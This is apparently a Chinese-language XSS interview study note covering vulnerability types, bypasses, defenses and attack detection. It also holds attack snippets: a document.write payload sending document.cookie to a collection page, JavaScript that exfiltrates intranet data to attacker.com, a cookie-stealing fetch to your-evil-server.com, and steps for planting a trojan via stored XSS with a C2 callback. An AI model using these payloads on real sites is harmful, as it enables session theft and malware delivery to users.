XSS常见问题
-
XSS原理
web应用程序对输入和输出没有进行严格过滤、攻击者可以插入构造的恶意javascript脚本,当正常用户浏览网页时,被浏览器当作有效代码解析执行,盗取用户数据或执行其他恶意操作。 -
DOM型xss漏洞容易出现的地方有哪些?
1、可以被innerHTML或outerHTML属性修改的节点:节点如果没有对输入进行恰当的转义或清理就可能存在。
2、可以插入script标签属性的节点:如src、href、onerror、onclick等
3、console.log()
4、document.writer():使用 document.write 向页面中写入一个 img 标签, src访问 cookie.php 并提供 cookie 参数为 document.cookie
<script>document.write('<img src="http://127.0.0.1/pkxss/xcookie/cookie.php? cookie='+document.cookie+'"/>')</script> -
XSS获取cookie后如何利用
通过burpsuite抓包、改包、利用成功获取到的cookie值进行登录。 -
XSS漏洞的分类
反射型、存储型、DOM型
反射型和DOM型都是一次的,反射型要发送到服务器读取,DOM型数据仅在前端解析,不发送到服务器
存储型插入到数据库,可以多次利用,持续时间长
反射型最多
DOM型就是JavaScript中的Document对象Html注入,直接浏览器处理。客户端脚本程序可以动态地检查和修改页面内容,不与服务端进行交互 -
XSS常见的利用方式
利用XSS进行钓鱼、盗取cookie信息、盗取用户身份信息进行非法操作、传播恶意代码、弹广告刷流量、篡改页面信息、删除文章、获取客户端信息、传播蠕虫。 -
XSS常见绕过方式
大小写、双写、编码、属性、javascript伪协议、 -
XSS可能存在点?
一般涉及到数据交互的地方,服务器读取客户端提交的数据并返回读取到数据到前端HTML页面。如注册处、留言板、文章标题、评论区、查询信息后返回前端显示
个人信息、订单信息、搜索框、表单、私信、意见反馈、目录
各种输入的点、名称、上传、留言、可交互的地方。 -
XSS防御
对输出编码、对输入过滤、设置白名单
对cookie值设置Httponly属性
DOM型对插入HTML进行转义
禁止外联脚本和未授权脚本
设置WAF防火墙 -
XSS与CSRF区别
XSS是利用漏洞盗取用户权限进行攻击,不需要用户登录;CSRF需要在用户登录的情况下诱骗用户点击恶意链接,借助用户的权限完成攻击,并没有拿到用户权限。 -
如何理解XSS攻击
是一种被动性,在不知道的情况下触发类似无感型,在渗透很多情况下平常的渗透手段以及取得目标的信息,而XSS就能轻松获取,XSS比较有针对性。 -
输出到href的XSS如何防御
1、对输入验证:
白名单验证:只允许特定格式的URL(如http://、https://)
黑名单过滤:禁止使用javascript:等危险协议
2、对输出编码:对输出的href的内容进行编码,防止恶意脚本注入
3、使用安全库处理URL,确保安全性
4、设置CSP头,限制页面中可执行的脚本来源,防止XSS攻击。
5、使用现代框架的内置防护机制,自动处理XSS -
XSS危害
1、盗取各种用户账号,网站钓鱼。网站挂马,
2、窃取用户Cookie资料,冒充用户身份进入网站
3、劫持用户会话,执行任意操作
4、刷流量、执行弹框广告,破坏网上数据
5、传播蠕虫病毒,DDOS拒绝服务攻击
6、恶意篡改数据 -
XSS不同类型如何区分
存储型XSS:你发送一次带XSS代码的请求,以后这个页面的返回包里都会有XSS代码;
反射型XSS:你发送一次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码;一次性攻击
DOM型XSS:你发送一次带XSS代码的请求,在返回包里压根儿就找不到XSS代码的影子; -
如果你Xss打了后台,发现是内网的怎么办
1、确认内网环境信息,判断是否可访问内网
// 通过XSS探测内网IP段(如192.168.1.0/24) fetch('http://192.168.1.1').then(res => res.text()).then(data => alert(data)).catch(e => console.log(e));
2、收集内网信息
// 读取浏览器历史记录(需同源策略允许) window.history.length; // 获取内网域名(如果后台有跨域错误信息) fetch('http://internal-app.corp.local').catch(e => alert(e.message));
3、通过xss作为反向代理
// 让受害者的浏览器成为你的代理(需配合外部C2服务器) setInterval(() => { fetch('http://attacker.com/proxy?url=' + encodeURIComponent('http://internal-server/resource')) .then(res => res.text()) .then(data => fetch('http://attacker.com/exfil', { method: 'POST', body: data })); }, 5000);
4、利用DNS Rebinding绕过同源策略
通过快速切换DNS解析(如evil.com → 192.168.1.100),使浏览器认为访问的是"同源"地址。
5、横向移动
获取内网凭据、获取浏览器存储的凭据
6、权限提升与持久化
植入webshell、利用浏览器漏洞 -
XSS有Cookie值一定可以无用户名密码登录吗?
基本可以。因为把cookie的值给浏览器,浏览器去访问页面会用已有的cookie去访问,如果cookie有效,就会直接进入浏览器页面。 -
如何判断为真实xss攻击
1、攻击载荷特征:
典型XSS标签:<script>、<img oenorror=>,<svg onload=>,javascrip:,alert(),prompt()等常见恶意代码片段
编码混淆:十六进制、unicode、base64或HTML实体编码(⁢script>)过滤。
敏感函数调用:document.cookie,windows.location,eval(),innerHTML等可能用于窃取数据或重定向的代码。
2、请求上下文
来源IP与地理位置:高频请求是否来自境外IP(如黑客常用VPS)、TOR出口节点或已知恶意IP;同一IP短时间内发起大量不同Payload的试探请求。
User-Agent异常:非常用浏览器UA、自动化工具
Referer:来自无关域名或直接缺失Referer
3、攻击行为模式
同一参数多次尝试不同Payload;结合其他攻击类型或漏洞扫描特征
目标针对性:针对输入点(如搜索框、评论框、URL参数)的集中攻击,而非正常业务流量。
4、业务逻辑相关:
输入点合法性:检查Payload提交的位置是否可能触发XSS(如富文本编辑器、未过滤的URL参数)
响应内容匹配:确认服务器是否返回未过滤的payload(如响应中完整回显了<script>alert(1)</script>)
受害者交互:攻击者是否依赖用户交互(如诱骗点击链接)或可自动触发(如页面加载即执行)
5、日志与事件关联
时间密集性:短时间内爆发大量告警(如1分钟内数百次请求)可能为自动化工具扫描
日志一致性:对比web服务器日志、WAF拦截记录、确认攻击是否被成功拦截或已执行。 -
在渗透测试中,web网站存在xss漏洞,如何利用漏洞进行网站挂马?
当正常用户访问存在XSS漏洞的页面时,其浏览器在不知情的情况下自动下载并执行攻击者准备号的恶意程序。(将恶意脚本植入或触发目标网站,让该脚本从攻击者的服务器上拉去木马并执行)
1、存储型XSS,制作恶意脚本,编写javaScript代码(悄悄从一个由你控制的服务器上下载木马程序,并在用户电脑上运行它)

2、准备木马程序,使用MSF、Cobalt Strike或其他工具生成一个木马程序trojan.exe。在程序执行后回连你的C2服务器,提供该主机的shell。
3、搭建恶意服务器
4、注入攻击载荷,找到存在存储型XSS的地方,(如留言板、个人简介、评论区等),提交一段脚本,远程加载准备好的payload.js.

5、提交后,恶意脚本会被服务器保存到数据库中,任何一个用户访问这个包含恶意评论的页面时,浏览器都会自动加载并执行http://evil-server.com/payload.js 里的代码。
6、诱导用户访问,用户点击。下载木马程序,c2服务器会收到来自该用户主机的反向连接。

-
当你通过XSS打到后台,但发现目标是内网系统时
1、判断内网权限
判断登录后台的用户权限,反弹cookie值,查看cookie中有没有HttpOnly标志,有则无法直接窃取,需要其他方法。尝试判断是否在浏览器扩展插件等。
2、探测内网信息:
获取内网IP
探测内网网段
读取浏览器历史/缓存
收集浏览器类型和版本
操作系统版本
用户行为等
3、窃取cookie接管会话:
如果cookie没有HttpOnly,直接回传控制服务器,//fetch('https://your-evil-server.com/steal?cookie=' + document.cookie);使用cookie直接登录后台。
键盘记录与表单劫持:记录管理员输入的密码,劫持表单提交的数据,获取更高级别的账户密码
部署webshell:如果后台有文件上传功能,尝试利用XSS自动操作上传流程,上传一个图片马或真正的Webshell,从而获取服务器层面的立足点。
4、内网横向移动
网络扫描:nmap、masscan等工具,探测内网存活主机和开放端口。
访问内网应用:OA、GitLab、Jenkins、数据库管理平台、监控系统等。
漏洞利用:利用内网系统上的漏洞。
信息收集:访问所有内网系统,收集代码、文档、配置文件等。

浙公网安备 33010602011771号